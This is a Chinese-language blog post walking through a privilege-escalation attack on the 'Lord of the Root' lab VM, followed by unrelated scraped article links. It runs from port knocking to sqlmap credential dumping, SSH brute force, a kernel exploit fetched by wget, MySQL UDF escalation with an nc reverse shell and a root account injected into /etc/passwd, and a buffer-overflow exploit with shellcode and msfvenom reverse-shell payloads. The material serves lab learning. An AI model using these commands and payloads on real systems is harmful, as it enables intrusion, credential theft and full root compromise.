LoadOfTheRoot提权学习

2023-11-02

端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

如何进行端口碰撞?

  首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。

1)第一种方法:knock 命令
linux安装:sudo apt install knockd

这里遇到一个问题,E: Unable to locate package xx,发现是改变了下载源,没有更新,sudo apt-get update即可

使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1


hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
----------------
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

参考资料:https://blog.csdn.net/qq_30247635/article/details/86243448
--------------

敲震三次后:
nmap全端口查看情况!nmap -p- 10.211.55.11
PORT     STATE SERVICE
22/tcp   open  ssh
1337/tcp open  waste
1337端口,侦听端口,浏览器输入

信息枚举

http://10.211.55.11:1337/
枚举到存在:
http://10.211.55.11:1337/robots.txt
在F12调试界面发现:

THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh

怎么判断是否为base64

通过判断字符串是否具有base64编码的特点来确定。那么base64编码之后的字符串具有哪些特点:
* 字符串只可能包含A-Z,a-z,0-9,+,/,=字符
* 字符串长度是4的倍数
* =只会出现在字符串最后,可能没有或者一个等号或者两个等号

在kali通过base64转码:
echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!

发现还是base64继续转码:
echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d                    
/978345210/index.php
发现目录!

SQLmap注入

1)爆破数据库库信息
sqlmap -o -u "http://10.211.55.11:1337/978345210/index.php" --forms --dbs

-------------
Optimization
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度

--threads=THREADS:设置请求的并发数

这里如果跑靶机可以设置为10,比较快
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试
-------------

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp
爆破出了数据库四个!继续获取webapp数据表信息!

2)爆破数据库表信息
sqlmap -o -u "http://10.211.55.11:1337/978345210/index.php" --forms -D Webapp --tables

Database: Webapp
[1 table]
+-------+
| Users |
+-------+
可以看到Users数据表,继续查看数据表信息!

3)爆破数据库表字段信息

sqlmap -o -u "http://10.211.55.11:1337/978345210/index.php" --forms -D Webapp -T Users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
可看到数据库Webapp的表Users中存在字段id,password,username信息!

4)爆破字段内容信息

sqlmap -o -u "http://10.211.55.11:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,username,password --dump

(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)

Database: Webapp
Table: Users
[5 entries]
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
| 1  | frodo    | iwilltakethering |
| 2  | smeagol  | MyPreciousR00t   |
| 3  | aragorn  | AndMySword       |
| 4  | legolas  | AndMyBow         |
| 5  | gimli    | AndMyAxe         |
+----+----------+------------------+
获得用户名密码,那么来爆破下!
user:
frodo
smeagol
aragorn
legolas
gimli

passwd:
iwilltakethering
MyPreciousR00t
AndMySword
AndMyBow
AndMyAxe

7、SSH爆破-MSF、Hydra
1)Hydra爆破
hydra -L user.txt -P pass.txt 10.211.55.11 ssh

[22][ssh] host: 10.211.55.11   login: smeagol   password: MyPreciousR00t

2)MSF爆破ssh
-------------------
若有用户名和密码字典的话,使用auxiliary/scanner/ssh/ssh_login模块

若不知道,使用auxiliary/scanner/ssh/ssh_enumusers模块先探测用户名是否存在

参考:https://blog.csdn.net/huweiliyi/article/details/105590291
-------------------

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set rhosts 10.211.55.11
set user_file /root/桌面/lord/user.txt
set pass_file /root/桌面/lord/pass.txt
set stop_on_success true

Success: 'smeagol:MyPreciousR00t'
用户名:smeagol
密码:MyPreciousR00t


8、SSH登录提权
ssh smeagol@10.211.55.11
 


9、EXP内核提权
lsb_release -a  查看当前系统的信息
-----
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:    14.04
Codename:    trusty
-----

谷歌搜索:Ubuntu 14.04 exploit
https://www.exploit-db.com/exploits/39166

searchsploit 39166
locate linux/local/39166.c
cp /usr/share/exploitdb/exploits/linux/local/39166.c /root/桌面/lord

python -m SimpleHTTPServer 8081
wget http://10.211.55.19:8081/39166.c

gcc 39166.c -o yc
chmod +x yc
./yc
cd /root
cat Flag.txt:
“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

--------------------

10、Mysql UDF提权

UDF提权先查看mysql版本!
dpkg -l | grep mysql   --查看历史安装包版本
5.5.44

查看mysql运行权限是不是root!
ps aux | grep root   ---查看mysql进程信息

在寻找mysql账号密码!
find / -name login.*

这样会跑出大量无效数据

find / -name login.* 2>/dev/null 这样就没有问题了
发现信息:/var/www/978345210/login.php

grep "password" -rn 存在password信息:
new mysqli('localhost', 'root', 'darkshadow', 'Webapp');

获得mysql密码:
darkshadow

登录mysql:
mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:
show global variables like 'secure%';

  • secure_file_priv的value为null ,不允许导入导出,则无法使用udf提权。
  • secure_file_priv的value为/dir/ ,只允许dir目录下导入导出。
  • secure_file_priv的value为空,无限制。

是可以进行UDF提权的!

查看插件目录:
show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:
use mysql;
select user,host from user;
只能本地登录!
---------
MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型           大小(单位:字节) 
TinyBlob      最大 255 
Blob          最大 65K 
MediumBlob    最大 16M 
LongBlob      最大 4G 

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so  把这个放到桌面,开启http靶机下载下来 ,tmp下才能下载
mv lib_mysqludf_sys_32.so yc.so 重新命名为yc.so


mysql -uroot -pdarkshadow
use mysql
create table yc(yc longblob);
insert into yc values (load_file('/tmp/yc.so'));插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据 
select * from yc into dumpfile '/usr/lib/mysql/plugin/yc.so';
create function sys_exec returns string soname 'yc.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;
----------

拓展知识点:或者利用sys_exec、sys_eval

select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');

openssl passwd yc1
YpIR51FecR9AY
select sys_exec('echo "yc1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');

------

11、缓冲区溢出漏洞

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。


查看SUID弱点值:
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
------------------------
file命令比较每个文件的哈希值:
file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

或者使用du -b查看字节:
du -b /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

7370    /SECRET/door1/file
5150    /SECRET/door2/file
7370    /SECRET/door3/file

或者使用ls -lahR比较创建的文件大小/日期:
cd /SECRET/
ls -lahR
------------------------
使用python命令快速模糊判断多少个字符会导致程序崩溃。Python有-c参数,允许代码直接从shell执行:

./file $(python -c 'print "A" * 200')
Illegal instruction (core dumped)      
发现存在溢出值,需要把文件拷贝出来进行本地分析!

base64文件拷贝:
base64 file    ----将file二进制文件转换base
然后复制到文本中:base64.txt
cat base64.txt | base64 -d > file   ---将文本文件转换回可执行文件
检查MD5和sha1值:
file file
md5sum file

这时候就讲文件拷贝到kali本地进行分析。

-------------------

方法1:
安装pwndbg

常见命令:
https://my.oschina.net/u/4292771/blog/3305933

记得更新源:
https://blog.csdn.net/weixin_42380348/article/details/89959761

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
sudo ./setup.sh
这里一定要更新源,在用代理更新下载!如果要修改就执行:
vi ~/.gdbinit    ---用哪个就注释即可

1)调试file
gdb -q ./file    ---gdb调试file文件

2)生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

3)GDB执行值
run Aa0A.........
0x41376641 in ?? ()
查看到错误点在41376641。

4)解析错误点判断偏移量:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
[*] Exact match at offset 171
查看到偏移量为171。

5)尝试在偏移量171溢出后情况:
r $(python -c 'print "A" * 171 + "B" * 4')
EIP: 0x42424242 ('BBBB')
可看到EIP已经被填充BBBB可控制。

6)查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
2
或者:
sysctl -a --pattern randomize
kernel.randomize_va_space = 2

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!!!其实就算关闭了ASLR,在root

权限下还执行了计划任务switcher.py每三分钟变换一次值,还会打乱缓冲区溢出的“ buf”文件,因此让缓冲区溢出难度加大!

参考资料:
https://blog.csdn.net/counsellor/article/details/81543197

绕过ASLR的一种方法是通过编写一个自动循环脚本来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来!

7)Nop空间测试ESP:
run $(python -c 'print "A" * 171 + "B" * 4 + "\x90" * 2000')
x/s $esp
0xffffc810:    '\220' <repeats 200 times>...
这时候ESP变了,指向了ffffc810地址,这是nop sled的地址开始处,当ESP指向该地址处后,就会执行栈堆空间的payload获得shell,那么接下来就是要爆破
nop sled被访问。

8)恶意payload
peda help shellcode –-- 关于 shellcode 的帮助
shellcode search exec –-- 如何使用 'exec' 搜索所有 shellcode
shellcode display 841 –-- 显示找到的代码的来源


shellcode generate x86/linux exec --– 生成代码
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
    "\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)

9)检查文件是否做了安全措施:
checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled


10)增加nop sled被访问机会:可以增加10000....   
run $(python -c 'print "A" * 171 + "\x60\xc8\xff\xff" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"')

0x ffffc860
ff ff c8 60
\x60\xc8\xff\xff
等一分钟左右就能获得shell!

11)for循环爆破找nop碰撞执行shell:
for a in {1..1000}; do ./file $(python -c 'print "A" * 171 + "\xa0\x64\x8b\xbf" + "\x90" * 20000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"'); done

如果文件在几分钟后随机变动了,不在该目录底下,在没有for循环nop拿到shell后,又得跑到溢出file的目录下载执行一次for,很麻烦!

------------

缓冲区溢出是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。


方法2:
https://blog.csdn.net/missmxr/article/details/121451920

1)进入door1,只有file文件,尝试分析猜测文件
objdump -d --no-show-raw-insn file   ---查看可执行函数的十六进制显示file

strings file
查看door2,door3目录,都只有file文件,但是分析时发现door2下的file存在strcpy!

参考百度百科熟悉strcpy:
https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin
https://blog.csdn.net/weixin_30709635/article/details/99100913

2)msf生成1000字符串,使用gdb调试
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

gdb file 
run ....

3)查找溢出位置
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

溢出位置为171!验证下eip的内容!

如果存在溢出,肯定要写入恶意代码,那么有没有写入的权限程序,往下查看!

4)vmmap查看信息  栈溢出

STACK:栈,用来保存函数运行时的临时变量等
HEAP:堆,一般是主动编写代码来分配和回收堆内存
CODE: 代码段,是用来存放代码的
DATA:数据段,一般用来存放全局变量
参考:https://ch4r1l3.github.io/2018/06/22/pwn从入门到放弃第三章——gdb的基本使用教程/

5)验证EIP
r $(python -c 'print "A"*171 + "B"*4 + "C"*20')

6)验证ESP
x/20b $esp

存在c的,那么确认坏字符!


7)确认坏字符
缓冲区溢出的在生成shellcode时,会影响输入的字符,比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。常见的坏字符有x0a、x0b、x00


现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 \x01 到 \xff 的坏字符字符串:
---------
#!/usr/bin/env python
from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()
---------
r $(python -c 'print "A"*171 + "B"*4 + ""')


x/256x $esp   ---如果出问题就x和b换用

能看到1-8是正常的,后门就全乱了,怀疑0x08后面的0x00和0x09是个坏字符,至于后面全乱序猜测是因为0x0a换行符的问题。重新来,去掉0x09和0x0a:

好看多了,但是从0x20又开始乱了,去掉0x20后门就好了。
注意:这一定要仔细看,因为看少了看错了都会导致msf的payload执行不成功!
重新来,去掉0x09、0x0a和0x20:

坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节\x00)


8)msf生成payload
-----------
windows:
msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f py -v

Linux:
msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "\x00\x09\x0a\x20" EXITFUNC=thread -f c

linux2:
msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b '\x00\x09\x0a\x20' -e x86/shikata_ga_nai -fc

payload:
-a  框架选择
-p 载荷类型

LHOST 本机地址
LPORT

-b 坏字符
-e 要使用的编码器
-f 编译的语言
-c 指定要包含的附加 win32 shellcode 文件
-v 载荷的名称
------------
9)查看jmp
最后需要看看是否有调用jmp到es(因为我们无法控制 eax),查看能够更好的控制漏洞利用的过程,防止不成功。

objdump -D file | grep -P 'jmp|call' | grep esp


回显esp,不需要jmp做跳板到shellcode,接下来绕过就是用大量的nop即可!

10)bash执行shell

"\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"

------
0xbf96b590
bf 96 b5 90
\x90\xb5\x96\xbf

#!/bin/bash
while true; do
  $(find /SECRET -type f -size 5150c) $(python -c 'print "A"*171 + "\x90\xb5\x96\xbf" + "\x90"*20000 + "\xb8\x37\xc9\x64\x34\xda\xd6\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0b\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xc2\xa3\x6f\x6c\xb5\x66\x16\xe4\xe8\xe5\x5f\x13\x9a\xc6\x2c\xb4\x5a\x71\xfc\x26\x33\xef\x8b\x44\x91\x07\x83\x8a\x15\xd8\xbb\xe8\x7c\xb6\xec\x9f\x16\x46\xa4\x0c\x6f\xa7\x87\x33"') 2> /dev/null
  sleep 1
done

ls -la   ---查看文件大小
-size  ---表示文件大小
-type  ---文件类型  
f 普通文件
-------
wget http://10.211.55.19:8081/exp.sh
chmod +x exp.sh
./exp.sh
成功!!!


1、文件会随机变动到三个文件夹中!
2、python脚本计划任务在执行随机变动
3、ALSR开启了安全保护   ---绕过是nop  for循环碰撞
4、checksec安全保护机制没开启
5、jmp esp 不需要
6、解决坏字符问题

延伸出问题:
4、checksec安全保护机制没开启
5、jmp esp 不需要
checksec有六种机制,如果开启了某个,怎么去绕过!....待思考???
jmp esp怎么去查看他的地址值!???

这些问题都搞懂了,缓冲区溢出基本就读懂%70~80
后面还要读懂一些函数指令!

-----------
方法3:
GDB进行分析!peda安装:
参考文章:
https://blog.csdn.net/aoxixi/article/details/90142736

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
想要用某一个插件的时候,只要输入对应命令就行!

gdb file    ---gdb分析file文件

在peda中运行,EIP被我们的4*B覆盖,ESP寄存器指向我们4*C:
r $(python -c 'print "A"*171 + "B"*4 + "C"*4')
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcfe0 ("CCCC")
EIP: 0x42424242 ('BBBB')

-----------

方法4:
安装:edb
proxychains apt install edb-debugger

目前已经知道171会导致程序崩溃,创建一个通用脚本测试EIP看看4个B会不会出现:
-------------
#!/usr/bin/python
padding = "A" * 171
eip = "B" * 4
shellcode = "C" * 4
buffer = padding + eip + shellcode
print buffer;
-------------

edb --run ./file $(python testyc.py)


--------
pwn环境搭建:
https://mambainveins.com/2021/07/23/2021/2021-07-23-pwn_env/

https://blog.csdn.net/whbing1471/article/details/112410599


https://isbase.cc/tip/exploit/tip-2.html
https://www.exploit-db.com/exploits/25971
https://baike.baidu.com/item/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/678453?fr=aladdin
http://blog.chinaunix.net/uid-10769062-id-4220113.html
 


 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

LoadOfTheRoot提权学习 的相关文章

  • Metasploit安装及使用教程(非常详细)从零基础入门到精通,看完这一篇就够了。

    通过本篇文章 我们将会学习以下内容 1 在Windows上安装Metasploit 2 在Linux和MacOS上安装Metasploit 3 在Kali Linux中使用 Metasploit 4 升级Kali Linux 5 使用虚拟化
  • 服务器超线程的好处

    服务器超线程的好处 1 提高性能 超线程通过提高整体系统吞吐量显着提高服务器性能 通过允许多个线程在单个物理内核上同时执行 超线程减少了空闲时间并最大限度地利用了可用资源 这会加快任务执行速度并缩短应用程序的响应时间 尤其是在多线程工作负载
  • Kali Linux 安全渗透核心总结,444页核心知识点

    就像IT人离不开Linux系统一样 网安人也离不开Kali Linux 作为攻击性防御和渗透测试的代名词 越来越多的人开始学习Kali 如果你也对kali感兴趣 又想深入了解这方面内容 不妨收藏一下这份Kali Linux安全渗透教程 共4
  • 一个网工(网络工程师)七年的职业血泪史....

    前言 一个工作了七年的老网工 上家公司待了五年 现在这家公司也快三年了 分享一些我自己学习网络安全路上的一些经历 也算是帮大家少走些弯路 一 如何学习网络安全 1 不要试图以编程为基础去学习网络安全 不要以编程为基础再开始学习网络安全 一般
  • 虚拟主机操作系统 Windows、Linux

    操作系统将直接影响服务器的性能 安全性和可用性 因此确保选择合适的操作系统对于成功运行您的网站或应用程序至关重要 以下是一些考虑因素 可帮助您选择适合您需求的虚拟主机操作系统 1 熟悉度和技术支持 如何选择操作系统应该考虑您的经验水平和熟悉
  • 成为一个黑客,就按照这个路线来!

    前几天一个同学在聊天中提到毕业后想要从事网络安全方向的工作 虽然他本身也是学计算机的 但是又怕心有余而力不足 因为 从事网络安全方面的工作向来起点都比较高 大学里少有开设这类课程的 在学校能够学到的知识比较有限 网上的关于这方面课程的质量又
  • CMAKE_MAKE_PROGRAM is not set 解读

    目录 CMAKE MAKE PROGRAM 未设置 错误原因 解决方案 示例1 GNU Make 示例2 Ninja CMakeLists txt 的结构 示例 CMakeLists txt 文件 总结 CMAKE MAKE PROGRAM
  • 如何解读服务器的配置和架构?

    在当今数字化时代 服务器作为企业或组织的重要基础设施 其配置和架构对于保障业务的稳定运行至关重要 如何解读服务器的配置和架构 成为了一个备受关注的话题 本文将围绕服务器配置和架构的解读进行深入探讨 帮助读者更好地理解服务器的性能 扩展性和安
  • 基于成本和服务质量考虑的不确定性下,电动汽车充电网络基础设施需求预测和迭代优化的分层框架研究(Python代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Python代码 数据
  • 如何解决Mybatis-plus与Mybatis不兼容的问题:An attempt was made to call a method that does not exist. The attempt

    博主猫头虎的技术世界 欢迎来到 猫头虎的博客 探索技术的无限可能 专栏链接 精选专栏 面试题大全 面试准备的宝典 IDEA开发秘籍 提升你的IDEA技能 100天精通Golang Go语言学习之旅 领域矩阵 猫头虎技术领域矩阵 深入探索各技
  • 【CTF必看】从零开始的CTF学习路线(超详细),让你从小白进阶成大神!

    最近很多朋友在后台私信我 问应该怎么入门CTF 个人认为入门CTF之前大家应该先了解到底 什么是CTF 而你 学CTF的目的又到底是什么 其次便是最好具备相应的编程能力 若是完全不具备这些能力极有可能直接被劝退 毕竟比赛的时候动不动写个脚本
  • Web 安全漏洞之 OS 命令注入

    什么是 OS 命令注入 上周我们分享了一篇 Web 安全漏洞之 SQL 注入 其原理简单来说就是因为 SQL 是一种结构化字符串语言 攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句 而今天要讲的 OS 命令注入其实原理和 SQL
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 前端必备的 web 安全知识手记

    前言 安全这种东西就是不发生则已 一发生则惊人 作为前端 平时对这方面的知识没啥研究 最近了解了下 特此沉淀 文章内容包括以下几个典型的 web 安全知识点 XSS CSRF 点击劫持 SQL 注入和上传问题等 下文以小王代指攻击者 话不多
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 通俗易懂,十分钟读懂DES,详解DES加密算法原理,DES攻击手段以及3DES原理

    文章目录 1 什么是DES 2 DES的基本概念 3 DES的加密流程 4 DES算法步骤详解 4 1 初始置换 Initial Permutation IP置换 4 2 加密轮次 4 3 F轮函数 4 3 1 拓展R到48位 4 3 2
  • 一台java服务器可以跑多少个线程?

    一台java服务器可以跑多少个线程 一台java服务器能跑多少个线程 这个问题来自一次线上报警如下图 超过了我们的配置阈值 打出jstack文件 通过IBM Thread and Monitor Dump Analyzer for Java
  • Vue 如何使用WebSocket与服务器建立链接 持续保持通信

    WebSocket 浏览器通过JavaScript向服务器发出建立WebSocket链接的请求 链接建立后 客户端和服务器端就可以通过TCP链接直接交互数据 WebSocket链接后可以通过 send 方法来向服务器发送数据 并通过 onn
  • 高防服务器什么意思

    高防服务器什么意思 为什么要用高防服务器 小编为您整理发布高防服务器什么意思的解读 高防服务器是指具备较高防御能力的服务器 能够抵御DDoS CC等网络攻击 高防服务器通常用于保护游戏 APP 金融 电商等业务 这些领域因为其业务特性 容易
  • 2023下半年软考「单独划线」合格标准公布

    中国计算机技术职业资格网发布了 关于2023年度下半年计算机软件资格考试单独划线地区合格标准的通告 2023下半年软考单独划线地区合格标准各科目均为42分 01 官方通告 关于2023年度下半年计算机软件资格考试单独划线地区合格标准的通告

随机推荐

  • 解决JPA Native 查询不能使用投影(Projection)的问题 org.springframework.core.convert.ConverterNotFoundException:

    问题原因 org springframework core convert ConverterNotFoundException No converter found capable of converting from type org
  • Qt--tableWidget相关操作

    一 从tableWidget取出某一行内容 1 获取当前选中的行数 所用函数 QModelIndex currentIndex const int currentRow ui gt tableWidget gt currentIndex r
  • SpringBoot banner佛祖

    spingboot学习小彩蛋 当我们开启我们第一个springboot程序的时候 控制台会打印出来一个Spring字符 但是这个Spring是可以修改的 例如修改成一个字符组成的图片 网上有很多类似的代码 只需要复制之后在resources
  • LTP4.0 docker 安装使用说明;ltp工具包使用说明

    ltp4 0 6月份放出来了 一个模型进行多任务学习 立马测试了一下效果 确实不错 github链接 https github com HIT SCIR ltp 1 首先下载docker 使用pytorch1 4版本 python版本3 7
  • riscv-xv6单步调试5 锁与多核调度

    0 序 本次主要记录xv6锁的实现和在多核调度中的应用 同步与互斥 1 spinlock的实现 位于 spinlock h struct spinlock uint locked Is the lock held 0表示没被获取 1表示被某
  • 从一路高歌到遭多国“封杀”,ChatGPT未来将是什么样子?

    IT有得聊 是机械工业出版社旗下IT专业资讯和服务平台 致力于帮助读者在广义的IT领域里 掌握更专业 更实用的知识与技能 快速提升职场竞争力 点击蓝色微信名可快速关注我们 人工智能技术的发展已经逐渐改变了我们的生活和工作方式 其中 语言模型
  • 每日一题:子串的最大差

    子串的最大差 题目 Daimayuan Online Judge 枚举每个子串不现实 肯定会超时 子串1的最大值 子串1的最小值 子串2的最大值 子串2的最小值 即为 子串1的最大值 子串2的最大值 子串1的最小值 子串2的最小值 可以从贡
  • Linux环境下Selenium截图乱码及字体安装及与字符集区别

    概述 参考Java实现HTML页面截图功能 在使用Selenium对HTML页面进行截图时 一段没有任何问题的代码 在Windows环境下执行成功 但放到使用很久的测试环境Linux服务器也没有问题 但是部署到刚申请不久的阿里云生产Linu
  • yolov7 mask 使用学习笔记

    目录 yolov7 mask trt安装笔记 安装detectron方法1 OK 安装detectron方法2 pip install regex 4 1 无法找到头文件 math h fatal error C1083 安装cocoapi
  • React 16入门教程

    React 16入门教程 技术胖 讲的一般 React16 8版本 https jspang com posts 2019 05 04 new react base html E7 AC AC01 E8 8A 82 EF BC 9Areac
  • dinky报错:Communications link failure The last packet sent successfully to the server was 0 millisecon

    dinky链接MySQL报错 说明 MySQL版本是5 x版本 driver版本是 8 x版本 com mysql cj jdbc exceptions CommunicationsException Communications link
  • java对象序列化流设置类中的某个成员变量不参与序列化和反序列化操作

    我们用对象反序列化流输出类的name变量 然后我们给这个name变量定义一个transient关键字修饰 private transient String name 然后我们再次用反序列化读取 此时我们就不再能拿到name的值了 因为他已经
  • 项目部署到tomcat里css,js等文件失效

    项目在IDEA里面跑的好好的 到了tomcat里面样式就失效了 如何处理 其实这是我们开发中忽略了一个细节导致的 就是如果您的JavaWeb的模板使用的是thymeleaf模板的话 那么您在引入css或者js等文件的时候 一定要用下面的格式
  • h3c虚拟服务器无效,请教:H3C模拟器中防火墙无法PING通PC(虚拟主机) - H3C技术论坛 - 51CTO技术论坛_中国领先的IT技术社区...

    H3C网络模拟器版本 HCL 2 0 2 1 防火墙F1060 使用虚拟主机 PC 连接防火墙G1 0 1端口 防火墙G1 0 1端口IP地址 192 168 0 1 24 PC机端口IP地址 192 168 0 2 24 配置命令 sec
  • ros的入门知识

    ros的入门教程链接 linux ros安装 学前小案例 键盘控制小海龟的移动 创建工作空间与功能包 发布者publisher 订阅者subscriber ros的基础知识点 不同的linux系统安装的ros版本是不一样的 linux18
  • nmake简介

    提示 文章写完后 目录可以自动生成 如何生成可参考右边的帮助文档 nmake学习初步 前言 一 nmake在哪里 二 Makefile编写 1 hello c实例代码 2 Makefile 3 扩展 前言 一直使用vs的IDE 最近编译sq
  • tomcat守护进程

